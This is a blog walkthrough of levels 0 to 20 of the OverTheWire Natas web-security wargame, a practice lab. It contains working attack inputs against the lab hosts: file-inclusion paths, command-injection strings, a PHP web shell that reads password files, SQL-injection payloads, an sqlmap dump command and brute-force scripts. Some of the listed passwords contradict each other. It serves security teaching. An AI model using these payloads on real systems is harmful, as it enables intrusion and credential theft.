Skip to main content

Command Palette

Search for a command to run...

Natas Walkthrough | OverTheWire

(Web-Security)

Published
56 min read
Natas Walkthrough | OverTheWire
A

It's a journey from 0 to 1

Introduction

What is Natas?

Natas teaches the fundamentals of server-side web security. Each level in Natas is hosted on a unique website, accessible at http://natasX.natas.labs.overthewire.org (where X is the level number). There is no SSH login involved. To access a level, simply use the corresponding username (e.g., natas0 for level 0) along with its password.

Your objective is to retrieve the password for the next level, which is hidden somewhere on the current level’s site. All passwords are also stored in the /etc/natas_webpass/ directory, with access restricted based on the level. For instance, the password for Natas5 is stored in /etc/natas_webpass/natas5 and can only be read by Natas4 and Natas5.

Please note that the passwords change automatically at regular intervals, so I encourage you to solve the challenges yourself and not rely on any passwords I might mention. Enjoy the process, and happy hacking!


Natas Level 0: View Source Code / HTML Inspection

Username:natas0
Password:natas0
URL: http://natas0.natas.labs.overthewire.org

After logging in with the credits above we found,

You can find the password for the next level on this page. This may indicate that the password is in the page source.

We can verify this by right click then view page source or ctrl + u shortcut

And here is the password for the level 1
0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Natas Level 0 → Level 1: Client-Side Disabled Right-Click / Browser Developer Tools

Username: natas1
Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
URL:http://natas1.natas.labs.overthewire.org

After logging in with the credits above, we found You can find the password for the next level on this page, but rightclicking has been blocked!

But if we right-click outside the div, we will notice that it works normally and now we can extract the password from the page source.

The second way is that we can use inspector in developer mode

We can also view the source code using curl or wget:

curl -u natas1:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq http://natas1.natas.labs.overthewire.org

And here is the password for the level 2
TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

Natas Level 1 → Level 2: Directory Traversal / Information Disclosure

Username: natas2
Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
URL: http://natas2.natas.labs.overthewire.org

After logging in with the credits above, we found There is nothing on this page

Let's look at the page source, As we expected, there is a pixel.png file under a directory named /files/

💡
Directory listing, also known as folder listing or directory browsing, is a feature of web servers that allows users to see the contents of a directory on a website. When directory listing is enabled, accessing a directory without specifying a particular file will display a list of all files and subdirectories contained within that directory.

Now we can simply browse that directory directly by putting /files after the original URL

We will notice that there is pixel.txt that we saw in the source page and Users.txt let's open it:

And here is the password for the level 3
3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

Natas Level 2 → Level 3: Hidden Directories / Robots.txt

Username: natas3
Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

URL: http://natas3.natas.labs.overthewire.org

After logging in with the credits above, we found There is nothing on this page again.

As we always do, we will look at the page source, We will see that there is a comment saying No more information leaks!! Not even Google will find it this time...

This might give us a hint if he meant Google crawlers! let's look at the robots.txt file

💡
The "robots.txt" file is a text file placed in the root directory of a website to provide instructions to web robots (such as search engine crawlers) about which pages or files on the site should be crawled or not crawled.

Indeed, we found a path called /s3cr3t/ let's browse it:

And again we found a users.txt file let's extract the password from it:

And here is the password for the level 4
QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Natas Level 3 → Level 4: HTTP Referer Header Manipulation

Username: natas4
Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
URL: http://natas4.natas.labs.overthewire.org

After logging in with the credits above, we found:

let's click the Refresh page Button

What is happening now is that the site displays the Referer header between those double quotes.

💡
The Referer header is an HTTP header field that identifies the address of the webpage (i.e., the URI or IRI) linked to the resource being requested. The browser sends it to the server as part of an HTTP request when navigating from one webpage to another via a hyperlink or by submitting a form.

Therefore, when we opened the site for the first time, the referrer header was empty, and when we refreshed the page, the referrer header became the current site we are on now.
So all we need now to modify this header to http://natas5.natas.labs.overthewire.org/

Now is the time to use BurpSuit:

  • Step1: Turn on your intercept proxy

  • Step2: Refresh the page so that Burpsuit able to intercept the request

  • Step3: Set the referer header to http://natas5.natas.labs.overthewire.org/

  • Step4: Forward the request so that Burp can send the modified request to the server

The request after editing the referer header:

Finally the page after forwarding the request:

And here is the password for the level 5
0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Natas Level 4 → Level 5: Cookie Manipulation / Session Management

Username:natas5
Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
URL: http://natas5.natas.labs.overthewire.org

After logging in with the credits above, we found:

Let's look at the page source but nothing looks interesting

let's look at the request itself:

we found a header called cookie with value loggedin=0
let's change it to 1 and forward the request:

Or directly from the browser change the value from 0 to 1 then refresh:

And here is the password for the level 6
0RoJwHdSKWFTYR5WuiAewauSuNaBXned

Natas Level 5 → Level 6: Client-Side vs Server-Side Code Review

Username: natas6
Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
URL: http://natas6.natas.labs.overthewire.org

After logging in with the credits above, we found:
an input field and submit query button that sends what is written in it and finally the view source code button

What matters to us on the View source code page:

This PHP code includes a secret from a file called secret.inc and checks if a form has been submitted via POST. If the form has been submitted, it compares the value of the "secret" input field with the value of the $secret variable obtained from the included file. If they match, it prints "Access granted" with a message indicating the password for "natas7". Otherwise, it prints "Wrong secret".

But all of this is not important because the path to the password is disclosed in the included function includes/secret.inc so simply we can go to this path directly:

white blank page, but always check the page source for any comments:

And voila here is the secret, let's submit it in the form to get the natas7 password:

And here is the password for the level 7
bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Natas Level 6 → Level 7: Local File Inclusion (LFI)

Username: natas7
Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
URL: http://natas7.natas.labs.overthewire.org

After logging in with the credits above, we found the /Home and /About pages

if we click on it we notice that ?page parameter changed by changing pages

if we opened the page source we found a hint that told us password for webuser natas8 is in /etc/natas_webpass/natas8

This is a strong indicator of a Local File Inclusion vulnerability, we can check by manipulating the page? parameter by adding a filename that does not exist:

This error indicates that the PHP script at /var/www/natas/natas7/index.php is attempting to include a file named "test" using the include() function, but it cannot find the file in the specified location.

💡
Local File Inclusion (LFI) is a type of vulnerability that occurs when a web application allows an attacker to include files on the server, typically through input mechanisms such as URL parameters or form inputs. This vulnerability can be exploited to read sensitive files on the server, execute arbitrary code, or conduct further attacks on the system. See how to test it

Now we can simply set the path of page? parameter to /etc/natas_webpass/natas8

And here is the password for the level 8
xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Natas Level 7 → Level 8: Multiple Encoding Operations (Base64, String Reverse, Hex)

Username: natas8
Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
URL: http://natas8.natas.labs.overthewire.org

After logging in with the credits above, like natas6 we found an input field and submit query button that sends what is written in it, and finally the view source code button

Nothing is interesting in the page source so let's view the source code:

To find out the secret, let's reverse-engineer the encodeSecret function and apply it to the encoded secret provided:

  1. base64_encode: This function encodes the given data with base64.

  2. strrev: This function reverses a string.

  3. bin2hex: This function converts binary data into hexadecimal representation.

So, to decode the secret, we need to reverse these steps. with this simple PHP code:

<?php
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
?>
// Resutlt: oubWYf2kBq

And here is the password for the level 9
ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Natas Level 8 → Level 9: Command Injection with grep

Username: natas9
Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
URL: http://natas9.natas.labs.overthewire.org

After logging in with the credits above, let's view the source code:

This PHP code takes a parameter called "needle" from the request (GET or POST). If the "needle" parameter is provided, it uses the passthru function to execute the grep command on a file named dictionary.txt the passthru function is similar to the exec() function that allows you to run shell commands or other executable files from within a PHP script. , searching for the value of the "needle" parameter in a case-insensitive manner. Essentially, it's searching for the occurrence of a word or pattern specified by the user ($_REQUEST["needle"]) in the dictionary.txt file. However, this code is vulnerable to command injection attacks since it directly passes user input to the shell without proper sanitization or validation.

So simply we can use semicolons ; to end the statement and start new command like this secret; cat /etc/natas_webpass/natas10 to extract the natas10 password:

And here is the password for the level 11
t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Natas Level 9 → Level 10: Command Injection with Filtered Characters

Username: natas10
Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
URL: http://natas10.natas.labs.overthewire.org

After logging in with the credits above, We found: For security reasons, we now filter on certain characters.

Let's View the source code:

The main difference between the last level code and this is the addition of input validation in the above code snippet. Specifically, the above code snippet includes a regular expression check (preg_match) to ensure that the "needle" parameter does not contain certain characters (;, |, &) that could be used for command injection attacks. If the input contains any of these characters, it prints "Input contains an illegal character!" and does not execute the grep command. This helps to mitigate the risk of command injection vulnerabilities compared to the last level code snippet, which directly passes user input to the shell without any validation or sanitization.

But, the logic of this code is still broken because the syntax of the grep command
here is the syntax:

grep [options] pattern file1 file2 ...

So, if we submit '.*' /etc/natas_webpass/natas11 it will look like that in the code:

grep -i '.*' /etc/natas_webpass/natas11 dictionary.txt
  • grep: Command-line utility for searching text patterns.

  • -i: Option to perform a case-insensitive search.

  • '.*': Regular expression pattern to match any sequence of characters

  • /etc/natas_webpass/natas11: File path to search for the pattern.

  • dictionary.txt: Additional file path to search for the pattern.

And here is the password for the level 11
UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Natas Level 10 → Level 11: XOR Encryption / Cookie Manipulation

Username: natas11
Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
URL: http://natas11.natas.labs.overthewire.org

After logging in with the credits above, Cookies are protected with XOR encryption

And if we enter #0A66B4 hex color code:

So let's take a look at the source code,

As we can see, it's a pretty bulky code. But this won't make much difference.
Let's trace before we break it:

  1. The code defines a default array $defaultdata with two keys: "showpassword" set to "no" and "bgcolor" set to "#ffffff".

  2. It contains a function xor_encrypt() that performs XOR encryption on the input text using a predefined key. This function is used to encrypt and decrypt data.

  3. There are two more functions: loadData() and saveData(). loadData() retrieves data from the cookie, decrypts it, and updates the $mydata array. saveData() encrypts the data and sets it in the cookie.

  4. The script loads data from the cookie, updates the background color if requested, and saves the data back to the cookie.

  5. If the "showpassword" key in the data array is set to "yes", it prints the password for the next level, which is censored in the code.

  6. Finally, it displays a form to set the background color and provides a link to view the source code.

So what we need to do now is reverse what this function does in the cookie saved in the browser then change the showpassword value to yes to generate a valid cookie by the key we will extract then encode it again to base64 and use this new generated cookie

  • Step1: get the cookie from developer tools in the browser

    HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg%3D
    The %3d is equal '=' but in url encoded form so we will convert it back:
    HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg=

  • we need to get the key to Xor decrypt this cookie, to clarify:

    • To encrypt: ciphertext = plaintext ^ key

    • To decrypt: plaintext = ciphertext ^ key

But if you have plaintext and ciphertext, you can find the key by:

  • key = plaintext ^ ciphertext

      <?php
      $ciphertext = json_encode(array("showpassword" => "no", "bgcolor" => "#0A66B4"));
    
      $plaintext = base64_decode("HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg=");
    
      $key = "";
      for($i = 0; $i < strlen($plaintext); $i++) {
          $key .= $ciphertext[$i] ^ $plaintext[$i];
      }
    
      echo $key;
      ?>
    
  • Now we have the key eDWo (repeated) if we need to check if this is the correct key or not we can try decrypting the encrypted cookie we have with this key

  • Finally, we have the key that is used to generate the cookie we can use it to generate a cookie with the showpassword=yes value

  • So the generated showpassword=yes cookie value = HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZ2cuU3IVW0c5

  • The last step is to replace the current cookie with this one

And here is the password for the level 12
yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

Natas Level 11 → Level 12: File Upload Vulnerability (No Extension Validation)

Username: natas12
Password: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
URL: http://natas12.natas.labs.overthewire.org

After logging in with the credits above, we found a text on the page that says choose a JPEG file to upload.

The first thing that came to my mind was that there is a file upload vulnerability but let's view the source code:

This PHP code performs the following steps:

  1. Defines a function genRandomString() to generate a random string of alphanumeric characters of length 10.

  2. Defines a function makeRandomPath($dir, $ext) to create a random path in a specified directory with a given extension, ensuring that the path does not already exist.

  3. Defines a function makeRandomPathFromFilename($dir, $fn) to generate a random path based on the filename provided, extracting the file extension using pathinfo().

  4. Check if the key "filename" exists in the $_POST array.

  5. If the "filename" key exists: a. Generates a random path for the uploaded file using makeRandomPathFromFilename(). b. Check if the uploaded file size exceeds 1000 bytes. If so, it echoes "File is too big". c. If the file size is within the limit, attempt to move the uploaded file to the generated random path using move_uploaded_file(). d. Displays a success message with a link to the uploaded file if the file is successfully moved, or an error message if there is a failure.

  6. If the "filename" key does not exist, the script ends.

What concerns us is that it doesn't validate the file extension and there are no defenses such as adding any extension at the end of the file, so let's verify the request using burp:

Since there is no validation on the Content-Type Header as well, we can upload a PHP file that retrieves the password from /etc/natas_webpass/natas14.

  • Step1: upload a file that contains shell_exec function that runs shell commands: <?php echo shell_exec('cat /etc/natas_webpass/natas13'); ?>

  • Step2: In burp intercept the request and edit the filename extension to .PHP

  • Step3: Send the request and check the response body that says "The file upload/{random_string}.php has been uploaded"

  • Step4: Navigate to this path and retrieve the password

And here is the password for the level 13
trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

Natas Level 13 → Level 14: File Upload with MIME Type Bypass

Username: natas13
Password: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
URL: http://natas13.natas.labs.overthewire.org

After logging in with the credits above, Same as the last level it's a file upload but there is an additional message that says "For security reasons, we now only accept image files!"

let's check out the source code:

The main differences between this code and the last level code are in the additional validations and error handling added in the second code:

  1. Error Handling: The second code includes additional error handling for the uploaded file. It checks the $_FILES['uploadedfile']['error'] code to identify specific errors such as exceeding the MAX_FILE_SIZE limit ($err === 2).

  2. File Type Validation: It also validates whether the uploaded file is an image using exif_imagetype(). This function checks the file headers to determine if the file is an image. If it's not an image, it echoes "File is not an image".

So, we can bypass this by injecting our payload in an image with ExifTool:

  • Step1: choose a less than 1 kb file you can download from http://natas2.natas.labs.overthewire.org/files/ “Or simply manipulate the file size from the request after intercept“

  • Step2: Use ExifTool to Inject our payload like this:
    exiftool -Comment="<?php echo 'START ' . shell_exec('cat /etc/natas_webpass/natas14'); . ' END'; ?>" less_than_1kb.jpg -o shell.php we print the password between 'START' and 'END' to make it easier to find the password among the image bytes

  • Step3: In burp, upload the file exploit.php file (the injected image) after that, intercept the request then focus on the next steps:

    • modify the filename and add the null byte character then add the .jpg extension to bypass the extension validation

    • Step4: Send the request then Navigate to the path that our payload was uploaded

And voila we get the password successfully

And here is the password for the level 14
z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Natas Level 14 → Level 15: Basic SQL Injection

Username: natas14
Password: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
URL: http://natas14.natas.labs.overthewire.org/

After logging in with the credits above, we found a login page that takes a username and password first thing that comes in my mind is this login vulnerable to SQLi but let's check the source code before breaking this level..

The code constructs the SQL query by directly concatenating user input ($_REQUEST["username"] and $_REQUEST["password"]) into the query string without proper sanitization or parameterization. So As we expected it's a SQL Injection

So let's break the syntax by adding a double quote `"`, SQL error that we need to see..

Let's go back to login and enter this simple payload "OR 1=1 -- since this is boolean-based SQLi, The payload exploits the SQL query by making it always true, effectively bypassing the password check. The OR 1=1 part ensures the condition is always true, granting access without the correct password. The double hyphen -- comments out the rest of the query to prevent syntax errors.

And voila, we are in...

And here is the password for the level 15
SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Natas Level 15 → Level 16: Blind SQL Injection (Boolean-based)

Username: natas15
Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
URL: http://natas15.natas.labs.overthewire.org/

After logging in with the credits above, This time there was a search box used to search the database instead of the log-in page.

-let's try to search for natas16:

What about double quotes?:

Good indicator let's read the source code:

The first thing we should notice is there is a comment about creating a table called users and has two columns username and password, with a maximum of 64 characters. and the input isn’t being sanitized before the value is placed in the SQL query to the database.

After reading the source code this will not be easy because it's a blind sql injection. After all, the query doesn't give us the result back.
So all we need now is to guess the 32-character password using brute force because it will take a lot of time if we do it manually, in this case, we will use SQLmap:

sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php?debug" --string="This user exists" --auth-type=Basic --auth-cred=natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx --data "username=natas16" --level=5 --risk=3 -D natas15 -T users -C username,password --dump

Let me break down each part:

  • sqlmap: This is the command to invoke SQLMap.

  • -u "http://natas15.natas.labs.overthewire.org/index.php?debug": This flag specifies the target URL to test for SQL injection vulnerabilities. In this case, the URL is the login page of a website called "natas15" hosted on the OverTheWire labs.

  • --string="This user exists": This flag tells SQLMap to use the specified string to identify true responses from the server. In other words, it helps SQLMap to determine whether its injection attempts were successful by looking for this specific text in the server's responses.

  • --auth-type=Basic: This flag specifies the authentication type used for the target URL. In this case, it's HTTP Basic authentication.

  • --auth-cred=natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB: This flag provides the credentials for HTTP Basic authentication. The username is "natas15", and the password is "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB".

  • --data "username=natas16": This flag specifies the POST data to be sent to the target URL. It's injecting into the "username" field with the value "natas16".

  • --level=5: This flag sets the level of tests to be performed. A higher level means more comprehensive tests, which can potentially take longer but may find more vulnerabilities.

  • --risk=3: This flag sets the risk of tests to be performed. A higher risk means more aggressive tests, which may have a greater chance of causing adverse effects on the target system but may also find more vulnerabilities.

  • -D natas15: This flag specifies the name of the database to enumerate. In this case, it's "natas15".

  • -T users: This flag specifies the name of the table to enumerate. In this case, it's "users".

  • -C username,password: This flag specifies the columns to enumerate within the specified table. In this case, it's "username" and "password".

  • --dump: This flag instructs SQLMap to dump the contents of the specified database, table, and columns if any injection vulnerabilities are found.

After SQLmap has finished, The password will be TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V.

And here is the password for the level 16
hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

Natas Level 16 → Level 17: Grep Command Injection with Advanced Filtering

Username: natas16
Password: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
URL: http://natas16.natas.labs.overthewire.org

After logging in with the credits above, We found a search box like levels 9 and 10 but now it filters the input

Let's read the source code:

this code snippet allows users to search for a keyword in the dictionary.txt file, but it's vulnerable to command injection attacks due to the use of passthru() with preg_match() function that filters these characters ( ; | & ` \ ) and displays Input contains an illegal character! message.

  • If $key doesn't contain any illegal characters, the script proceeds to execute the command.

  • passthru("grep -i \"$key\" dictionary.txt"); is a PHP function that runs a system command, in this case, grep.

  • The grep -i "$key" dictionary.txt command searches for the case-insensitive occurrence of $key in the file dictionary.txt.

  • The results are then printed directly to the page.

The first thing that should come to our mind is what are the allowed characters?
that’s right it’s Command substitution $(…) if i input $(echo allah) this is how it will look like:

passthru("grep -i \"$(echo allah)" dictionary.txt");
## grep -i allah dictionary.txt 
## it's same as i input allah directly.

So what if i use Command substitution to check if a password contains specific characters?
This can be done by using $(grep a /etc/natas_webpass/natas17)allah
this form use OR operation to check if the file natas17 contains a letter or not
if yes input nothing if not print Allah:

what about if the password contains b?:

There is no output, so this means the password contains the letter b

  1. Basic Idea:

    • Interrogate the server by asking: "Does the password contain this character?"

    • Use grep to check if a particular character exists in /etc/natas_webpass/natas17.

    • If it does, the page output will not contain the injected string Allah.

    • If it does not, the string Allah will be displayed, indicating that the character is not present in the password.

  2. Here is the Python code to automate this command injection:

import requests
from requests.auth import HTTPBasicAuth

# Authentication details for Natas 16
auth = HTTPBasicAuth('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')

# Set of all potential characters to check
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
filteredchars = ''
passwd = ''

# Step 1: Find the allowed characters in the password
for char in allchars:
    # Construct the payload that injects a grep command checking for 'char' in the password file
    payload = f'Allah$(grep {char} /etc/natas_webpass/natas17)'
    r = requests.get(f'http://natas16.natas.labs.overthewire.org/?needle={payload}&submit=Search', auth=auth)

    # If 'Allah' is not in the response, the character is part of the password
    if 'Allah' not in r.text:
        filteredchars += char
        print(f"Filtered chars: {filteredchars}")

# Step 2: Use the filtered characters to brute force the password one character at a time
for i in range(32):  # Natas passwords are 32 characters long
    for char in filteredchars:
        # Construct the payload to match the current progress of the password
        payload = f'Allah$(grep ^{passwd}{char} /etc/natas_webpass/natas17)'
        r = requests.get(f'http://natas16.natas.labs.overthewire.org/?needle={payload}&submit=Search', auth=auth)

        # If 'Allah' is not in the response, the current character is correct
        if 'Allah' not in r.text:
            passwd += char
            print(f"Password so far: {passwd}")
            break  # Move to the next character

Output:

And here is the password for the level 17
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Natas Level 17 → Level 18: Time-based Blind SQL Injection

Username: natas17
Password: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
URL: http://natas17.natas.labs.overthewire.org

After logging in with the credits above, we found a search function that checks the existence of a username

Source Code:

we find that the code snippet in the page uses SQL to query the users table, which stores usernames and passwords. However, there is no output from the query, regardless of the input provided. This challenge requires leveraging SQL injection without relying on direct output or error messages.

Here’s the relevant part of the code:

$query = "SELECT * from users where username=\"".$_REQUEST['username']."\"";

This query looks for the username in the database, but there’s no visual confirmation of the query results. Given this limitation, we can exploit it using SQL time-based injection with SLEEP() to determine if certain conditions are true based on the elapsed time for the server's response.

We can ask yes/no questions about the password for the user natas18 and use the delay from SLEEP() to infer if certain characters are in the password.

Step 1: Testing for SQL Injection with Sleep

We start by checking if the SLEEP() function works in the query:
natas18" and sleep(10) #

This query will return slower if the condition is executed successfully. We measure the delay to confirm if the SQL injection works:

  • If the page takes ~10 seconds: The injection is working, and the username natas18 exists.

  • If the response is instant: The username doesn’t exist, or the injection failed.

I used burpsuit to easily determine how does it takes to retrieve the response:

First the normal response without sleep payload injection:

The response with sleep(10) seconds:

Step 2: Extracting Password Characters

Next, we craft a query to check if certain characters are in the password using like binary:

natas18" and password like binary '%a%' and sleep(5) #

If the query takes ~5 seconds, it means the password contains the letter a. If the response is instant, it means the password does not contain a.

Using this method, we can automate the process with a Python script to filter the characters in the password:

import requests  
from requests.auth import HTTPBasicAuth  

Auth=HTTPBasicAuth('natas17', 'EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC')  
headers = {'content-type': 'application/x-www-form-urlencoded'}  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  

for char in allchars:  
        payload = 'username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
        r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
        if(r.elapsed.seconds >= 1):  
                filteredchars = filteredchars + char  
                print(filteredchars)  

print(filteredchars)  

for i in range(0,32):  
        for char in filteredchars:  
                payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(passwd + char)  
                r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
                if(r.elapsed.seconds >= 1):  
                        passwd = passwd + char  
                        print(passwd)  
                        break

By running this script, we gradually reconstruct the password for natas18 through SQL time-based injections.

Final Output:

And here is the password for the level 18
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Natas Level 18 → Level 19: Session Hijacking with session ID Brute Force

Username: natas18
Password: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
URL: http://natas18.natas.labs.overthewire.org

After logging in with the credits above, we found a login form that needed a username and password:

And it doesn't care if fields are empty or not so we can click the Login button directly

The source code:

Objective: Log in as the admin to retrieve the credentials for Natas 19.

1. Code Analysis:

  • The PHP code checks for a session ID (PHPSESSID) and starts a session. However, the isValidAdminLogin() function, which would allow login as "admin", is disabled.

  • Sessions are identified by numeric IDs between 1 and 640 ($maxid is set to 640).

  • If a session is valid, the script checks the $_SESSION["admin"] flag. If it's set to 1, you are treated as an admin.

Key Insight: The admin session might already exist, and if we can brute-force session IDs, we can potentially hijack it.

2. Brute-force Approach:

Since session IDs are within a limited range (1 to 640), we can brute-force these session IDs to find an existing admin session.

We can use burp intruder to perform the brute force and guess the admin session ID, but this script may be faster than the burp suit community intruder

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas18.natas.labs.overthewire.org/'
auth=HTTPBasicAuth('natas18', '6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ')

# Try all possible session IDs
for session_id in range(1, 641):
    # Set the PHPSESSID cookie
    cookies = {'PHPSESSID': str(session_id)}

    # Make the request
    response = requests.get(url, auth=auth, cookies=cookies)

    # Check if the response contains the admin credentials
    if "You are an admin" in response.text:
        print(f"Admin session found! Session ID: {session_id}")
        print(response.text)
        break
else:
    print("No admin session found.")

Output:

And of course, it’s the same result if we decide to use burp intruder:

And here is the password for the level 19
tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

Natas Level 19 → Level 20: Session ID Analysis & Brute Force

Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
URL: http://natas19.natas.labs.overthewire.org

After logging into Natas19, we found a username-and-password login form with the message: “This page uses mostly the same code as the previous level, but session IDs are no longer sequential…”

So let’s try to log in with admin:admin to see what changes happened to the session ID’s:

As we can see, the session ID is ASCII-Hex encoded we can notice that by sending it to the decoder:

The goal of this level is to brute-force session IDs similarly to the approach used in Natas18 but with a twist: the session ID is encoded in ASCII-Hex. Therefore, the brute-force attack must try combinations of session IDs with the format x-admin, where x is a number between 1 and 640 (the range of possible session numbers), encoded in ASCII-Hex.

So we can use the burpsuit as we did before but we will add a suffix to the number in the PHPSESSID and then encode it to ASCII-Hex in payload processing:

After starting the attack we noticed that this PHPSESSID value logged us as admin

If we decode this value in the decoder it shows the admin session is at 281-admin

We can do the same faster with this Python script:

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', 'tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr')

# Loop through possible session IDs
for session_id in range(1, 641):
    # Convert the session_id to hexadecimal
    numberAsHex = "".join("{:02x}".format(ord(c)) for c in str(session_id))

    adminPortion = "2d61646d696e"  # "-admin" portion in hex

    # Full session ID
    sessionID = numberAsHex + adminPortion
    print(f"Session {session_id}-admin : {sessionID}")

    cookies = {'PHPSESSID': sessionID}

    # Make the request with the session ID as a cookie
    response = requests.get(url, auth=auth, cookies=cookies)

    # Check if we are logged in as admin
    if "You are an admin" in response.text:
        print(
            f"Admin session found! Session ID: {session_id}, PHPSESSID: {sessionID}")
        print(response.text)
        break
else:
    print("No admin session found.")

Explanation:

  • The script iterates through all possible session IDs from 1 to 640.

  • Each session ID is converted to ASCII-Hex format and the -admin suffix (in hex) is appended.

  • The script then sends a request with the generated session ID (PHPSESSID) and checks if it grants admin access by looking for the phrase "You are an admin" in the response.

  • Once the correct session is found, it outputs the session ID and the response, revealing the credentials for the next level.

And here is the password for the level 20
p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

Natas Level 20 → Level 21: Custom Session Management Exploitation / Session File Manipulation

Username: natas20
Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
URL: http://natas20.natas.labs.overthewire.org

After login with upon credentials, there is only a function that sets and changes the name at the text box as follows:

this time, sessions are handled manually using a custom my* functions (like myopen, mywrite, etc.). The session management is done in files instead of using PHP’s default method.

Source Code:

<?php
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}/* }}} */function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}/* }}} */

/* we don't need this */function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}
/* we don't need this */function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode() ?: "";
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
    return true;
}
/* we don't need this */function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}/* we don't need this */function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}
session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
